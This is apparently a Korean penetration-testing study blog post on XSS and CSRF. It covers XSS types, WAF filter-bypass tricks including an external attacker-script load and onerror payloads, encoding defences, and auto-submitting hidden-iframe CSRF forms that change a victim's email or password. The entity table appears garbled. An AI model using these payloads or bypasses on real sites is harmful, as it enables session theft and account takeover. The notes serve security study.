XSS(Cross Site Scripting)
XSS : 공격자가 원하는 클라이언트 측 코드를 삽입하여 클라이언트의 브라우저에서 실행되는 공격
XSS공격을 하여 클라이언트 사용자의 쿠키, 세션을 탈취하여 사이트에 침입하여 피해를 입힐 수 있다
XSS공격 같은 경우 모든 페이지, 모든 파라미터가 존재하면 발생할 가능성이 있다!!
XSS는 공격방법에 따라 크게 3가지 공격 기법이 있다
[1] Stored XSS
: 공격자가 원하는 클라이언트 측 공격 코드를 서버 DB에 저장하는 공격
- 클라이언트가 공격 코드가 포함된 DB내용을 확인할 경우 사용자의 쿠키, 세션을 탈취한다
- 주로 게시판, 댓글 등 같이 DB에 저장되는 곳에서 실행된다
[2] Relflected XSS
: 공격자가 악의적인 클라이언트 측 공격 코드를 URL 파라미터에 담아 사용자에게 전달하는 공격
- 클라이언트 측 사용자가 공격 코드가 포함된 URL을 접속할 경우 사용자의 쿠키, 세션을 탈취한다
- 주로 검색, 아이디 중복 검색 등 DB에 저장되지 않지만 사용자가 입력한 값이 출력되는 곳에서 실행된다
[3] DOM Based XSS
: 공격자가 DOM 환경에서 악의적인 클라이언트 측 기반 공격 코드를 URL 파라미터에 담아 사용자에게 전달하는 공격
- 클라이언트 측 사용자가 공격 코드가 포함된 URL을 접속할 경우 사용자의 쿠키, 세션을 탈취한다
- 주로 모든 파라미터가 전달되는 모든 곳에서 실행될 수 있고, 사용자가 입력한 값이 Response에 출력되지 않을 경우
XSS 우회 (Bypass Anti XSS)
-> 보통 방어 하는 방법으로 Black List 필터링으로 적용되어 있다
--> WAF(Web Application Firewall)의 기본 속성, 웹 해킹 공격 패턴을 인식해서 차단한다
[1] Client Side 검증 우회
: 클라이언트 측 검증을 javascript로 검증을 우회 하는 방법 EX) <script> -> <script>
-> 프록시 툴을 이용하여 <script>를 다시 바꿔준다
[2] Script Load 우회
: ", ', 특정 패턴, 특정 함수들이 필터링을 우회하는 방법
-> 공격자 서버에 공격 코드를 작성한 페이지를 전달하여 필터링을 우회한다
EX) <script src="http://test.com/공격.js"></script>
[3] 대소문자 혼용 우회
대소문자를 검열하는 것을 우회하는 방법
-> <script>를 <ScRiPt>로 이용하여 우회한다
[4] 특정 문자 필터링 우회
특정 문자를 필터링해서 지우는 것을 우회하는 방법
-> <script>를 <scscriptript>로 입력하여 필터링을 우회한다
[5] Event Handler 우회
HTML의 EvenetHandler를 이요하여 우회하는 방법
-> <img src=x onerror="JS">를 입력하여 우회한다
[HTML 태그, 이벤트 핸들러 참고 사이트] https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
XSS 대응 방안
XSS를 대응하기 위해 SQLi와 같이 근본적인 문제를 제거해야한다!!
바로 HTML 특수 문자들을 HTML 엔티티(Entity)로 변환하는 방법이다
엔티티 문자 | 엔티티 이름 | 16진수 엔티티 |
< | < | < |
> | > | > |
" | " | " |
' | ' | ' |
하지만 HTML 에디터를 사용하는 게시판은 HTML 엔티티를 사용할 수 없다
가장 좋은 것은 HTML 에디터를 사용하지 않고 HTML 엔티티로 변환하는 방법이지만 꼭 HTML에디터를 사용해야할 경우
먼저 모든 HTML 특수 문자를 HTML 엔티티로 변환하고 화이트 리스트(White List) 기반 필터링으로
필요한 태그만 살려준다 그 후 블랙 리스트(Black List) 기반 필터링으로 이벤트 핸들러를 필터링한다
< 추 후 XSS 총 정리!! >
CSRF(Cross Site Request Forgery) : 사이트 간 요청 위조
피해자가 자신도 모르게 서버로 임의의 요청을 하게 만드는 공격이다!!!
CSRF는 모든 요청을 하는 곳에서 일어나지만 특히 민감한 요청하는 곳(비밀번호 변경, 이메일 주소 변경)에서 일어난다
★ CSRF VS XSS
요청이 POST방식 일 경우 둘다 스크립트를 이용한 공격이지만,
CSRF는 사용자가 의도치 않게 임의의 요청을 서버에게 날리는 방법,
XSS는 클라이언트 측 브라우저에서 실행되는 스크립트 공격
공격 방법
[1] GET Method : 페이지 요청이 GET Method를 사용할 경우
GET 방식일 경우 파라미터를 변환하여 전달한다
http://test.com/userPwChange.php/?passwd=1234&confirm=1234&submit=submit
[2] POST Method : 페이지 요청이 POST Method를 사용할 경우
XSS 취약점을 활용하여 Form태그를 이용해서 파라미터를 변환해 전달한다
// 이메일을 변경하는 사이트 경우
<iframe id="stealthFrame" name="stealthFrame" style="display:none;"></iframe>
<form method="POST" action="공격할 사이트" target="stealthFrame">
<input type="hidden" name=email value="test@test.com"/>
</form>
<script>
document.forms[0].submit();
</script>
[3] Referer Check : 페이지에서 Referer Check를 요청할 경우
Referer : HTTP 헤더중 하나로, 리퍼러를 참조하여 현재 표시하는 웹페이지가 어떤 웹페이지에서 요청되었는 지 알 수 있다
//리퍼러를 사용하는 페이지 일경우
if(리퍼러 헤더가 있을 경우){
검사 시작;
...
} else{ // 리퍼러 헤더가 없을 경우
검사안하고 고!~ // 검사를 해야하지만 보통 하지않는다 ㅠ
}
위와 같은 로직을 사용하는 사이트 경우 리퍼러를 없이 보내서 공격한다!
// 이메일을 변경하는 사이트 경우
<meta name="referer" content="no-referrer">
<iframe id="stealthFrame" name="stealthFrame" style="display:none;"></iframe>
<form method="POST" action="공격할 사이트" target="stealthFrame">
<input type="hidden" name=email value="test@test.com"/>
</form>
<script>
document.forms[0].submit();
</script>
[4] CSRF Token : 페이지에서CSRF Token을 사용할 경우
CSRF Token : 임의의 난수를 발생하여 파라미터로 전달한다!!
이 경우 사용자의 CSRF Token을 따로 탈취하고 그것을 이용하여 공격한다
[아이콘 저작권]
디지털 아이콘 제작자: Muhammad_Usman - Flaticon
Ui 아이콘 제작자: Ilham Fitrotul Hayat - Flaticon
지원 아이콘 제작자: Freepik - Flaticon
스마트 폰 아이콘 제작자: Freepik - Flaticon
섬기는 사람 아이콘 제작자: Those Icons - Flaticon
'모의해킹 공부 > 모의해킹 스터디' 카테고리의 다른 글
[0601 Day10] File Upload (8) | 2023.06.02 |
---|---|
[0525 Day09] CSRF & SSRF (0) | 2023.05.29 |
[0511 Day07] XSS(Cross Site Scripting)-02 (0) | 2023.05.12 |
[0504 Day06] XSS(Cross Site Scripting)-01 (0) | 2023.05.05 |
[0427 Day05] SQL Injection-03 (1) | 2023.04.28 |